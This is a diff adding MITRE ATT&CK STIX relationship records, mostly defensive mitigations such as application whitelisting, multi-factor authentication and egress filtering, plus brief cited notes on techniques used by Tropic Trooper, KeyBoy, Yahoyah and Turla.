Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. 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Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ], + "modified": "2019-06-30T22:48:21.904Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files.", + "type": "relationship", + "created": "2019-06-14T17:07:30.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42968b37-a9f4-4bd8-b2af-36a04bd2803d", + "modified": "2019-07-16T20:59:56.052Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "created": "2019-06-14T17:07:30.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1fdde42-ef04-4b41-a7ba-1f268be9b0fe", + "modified": "2019-07-16T20:59:56.058Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-14T17:11:30.497Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d50b5687-ea69-40f9-86f3-eecd7e015bac", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-08T21:11:18.486Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.", + "type": "relationship", + "created": "2019-06-14T17:13:57.525Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ef0d2f85-5b7f-45b5-b78f-fcf95a6a2fbf", + "modified": "2019-07-16T21:10:28.536Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "type": "relationship", + "created": "2019-06-14T17:17:06.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b465fe54-83e6-4d1c-b752-d13bb788c3ac", + "modified": "2019-07-16T21:24:16.627Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.", + "type": "relationship", + "created": "2019-06-14T17:17:06.995Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26099ea8-5af8-4173-b70d-b32bbcbe0732", + "modified": "2019-07-16T21:24:16.644Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multi-factor authentication for user and privileged accounts.", + "type": "relationship", + "created": "2019-06-14T17:17:07.003Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a3012b2b-b19c-46fc-944c-d04d9c4b897b", + "modified": "2019-07-16T21:24:16.642Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "###Windows\nDo not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.\n\n###Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.", + "type": "relationship", + "created": "2019-06-14T17:21:38.567Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a266294c-18a7-4a6e-8291-a901748c929c", + "external_references": [ + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ], + "modified": "2019-07-26T19:54:07.381Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", + "type": "relationship", + "created": "2019-06-14T17:21:38.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a3426bf-1751-43db-b844-6bf388a4c817", + "modified": "2019-07-26T19:54:07.390Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.", + "type": "relationship", + "created": "2019-06-14T17:21:38.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee8ef62a-fcde-44b0-aa63-4028dad703aa", + "external_references": [ + { + "source_name": "TechNet Credential Guard", + "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard" + }, + { + "source_name": "GitHub SHB Credential Guard", + "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard" + } + ], + "modified": "2019-07-26T19:54:07.416Z", + "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Remove vulnerable Group Policy Preferences.", + "type": "relationship", + "created": "2019-06-14T17:23:38.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf828aff-2e43-491b-a4d7-4cec93e193cd", + "external_references": [ + { + "source_name": "Microsoft MS14-025", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "url": "http://support.microsoft.com/kb/2962486" + } + ], + "modified": "2019-07-17T15:52:46.495Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Proactively search for credentials within the Registry and attempt to remediate the risk.", + "type": "relationship", + "created": "2019-06-14T17:25:16.733Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac5925be-217e-4c88-815d-1a7098db548f", + "modified": "2019-07-17T16:02:42.992Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.", + "type": "relationship", + "created": "2019-06-14T17:27:00.773Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a8ad303-7a40-4396-8553-daef264dac71", + "modified": "2019-07-17T18:20:50.675Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-14T17:27:00.791Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82f1fa31-c796-474d-a58a-5ea8250a3118", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T18:20:50.682Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "id": "relationship--ff5fc448-b344-457f-a243-f7ce2911816e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-14T17:31:50.923Z", + "modified": "2019-06-14T17:31:50.923Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion prevention or data loss prevention tools may be set to block specific file types from leaving the network over unencrypted channels. An adversary may move to an encrypted channel or use other mechanisms of encapsulating the traffic in these situations.", + "type": "relationship", + "created": "2019-06-14T17:33:50.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36a41a30-61ce-4c55-9916-0a572dfe6d36", + "modified": "2019-07-17T18:24:51.940Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "id": "relationship--1e2075a3-5271-4ebf-aa9b-6a09ea985b76", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-14T17:35:11.286Z", + "modified": "2019-06-14T17:35:11.286Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has been known to side-load DLLs using a valid version of Windows Address Book executable with one of their tools.", + "type": "relationship", + "created": "2019-06-17T18:43:35.376Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77dbc1ae-556e-43cd-b776-c7670ab5c915", + "external_references": [ + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ], + "modified": "2019-06-30T22:44:28.310Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used pr to scan for open ports on target systems.", + "type": "relationship", + "created": "2019-06-17T18:43:35.392Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5929ef3e-3945-4ede-b3cd-94f47850a6bd", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "modified": "2019-06-30T22:44:28.307Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used netview to scan target systems for shared resources.", + "type": "relationship", + "created": "2019-06-17T18:43:35.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4f4fe39-af57-47d3-8428-fe5bce63bdbb", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "modified": "2019-06-30T22:44:28.340Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has detected a target system\u2019s OS version.", + "type": "relationship", + "created": "2019-06-17T18:43:35.470Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eba2ecc5-b383-4cbb-93f9-9cef81cd016b", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "modified": "2019-06-30T22:44:28.338Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used letmein to scan for saved usernames on the target system.", + "type": "relationship", + "created": "2019-06-17T18:43:35.472Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58a7f0d9-7c20-4808-b8be-bd6240267030", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "modified": "2019-06-30T22:44:28.342Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "In one version of [KeyBoy](https://attack.mitre.org/software/S0387), string obfuscation routines were used to hide many of the critical values referenced in the malware.", + "type": "relationship", + "created": "2019-06-17T18:44:58.870Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7a9deb99-21d7-45e3-bebc-fbab668690f1", + "external_references": [ + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ], + "modified": "2019-06-30T22:48:21.905Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) encrypts its configuration file using a simple algorithm.", + "type": "relationship", + "created": "2019-06-17T18:49:30.420Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93b3993d-0345-434e-9b0a-4dfd8efa6c99", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). 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Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. 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Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "modified": "2019-06-30T22:50:18.739Z", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) checks for antimalware solution processes on the system.", + "type": "relationship", + "created": "2019-06-17T18:49:30.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--618d4835-6022-46df-bee1-38fcb97ffb91", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. 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FIN7 Revisited: Inside Astra Panel and SQLRat Malware. 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Retrieved July 8, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "modified": "2019-07-14T21:04:44.976Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used encryption (including salted 3DES via [PowerSploit](https://attack.mitre.org/software/S0194)'s Out-EncryptedScript.ps1), random variable names, and base64 encoding to obfuscate PowerShell commands and payloads.", + "type": "relationship", + "created": "2019-06-19T17:14:23.764Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae6620d4-5320-4e5a-a61a-5bda4ac1c9e4", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. 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To defend against SYN floods, enable SYN Cookies.", + "type": "relationship", + "id": "relationship--5d37f644-31c5-414e-9a83-cb6fb36b87e0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-20T13:58:02.416Z", + "modified": "2019-06-20T13:58:02.416Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and block potentially malicious software executed that may be executed through this technique by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "created": "2019-06-20T14:28:20.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42f4db8f-ef8b-4dcc-8c8f-4d0b5219c8b7", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Microsoft Windows Defender Application Control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-17T20:10:02.242Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-20T14:32:08.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--34503727-d78b-4e67-b944-83546cc473e2", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T20:19:29.523Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable Autorun if it is unnecessary. Disallow or restrict removable media at an organizational policy level if they are not required for business operations.", + "type": "relationship", + "created": "2019-06-20T14:34:41.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8ff6191-a8ac-4f12-b336-a2e0c7644082", + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. 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Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic. Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost.", + "type": "relationship", + "created": "2019-06-20T14:58:09.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67d3ed70-9690-45e9-8559-bff8ad855112", + "external_references": [ + { + "source_name": "Cybereason Dissecting DGAs", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "source_name": "Cisco Umbrella DGA Brute Force", + "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.", + "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/" + }, + { + "source_name": "Akamai DGA Mitigation", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html" + } + ], + "modified": "2019-07-17T19:32:24.358Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.", + "type": "relationship", + "created": "2019-06-20T15:00:15.719Z", + "object_marking_refs": [ + 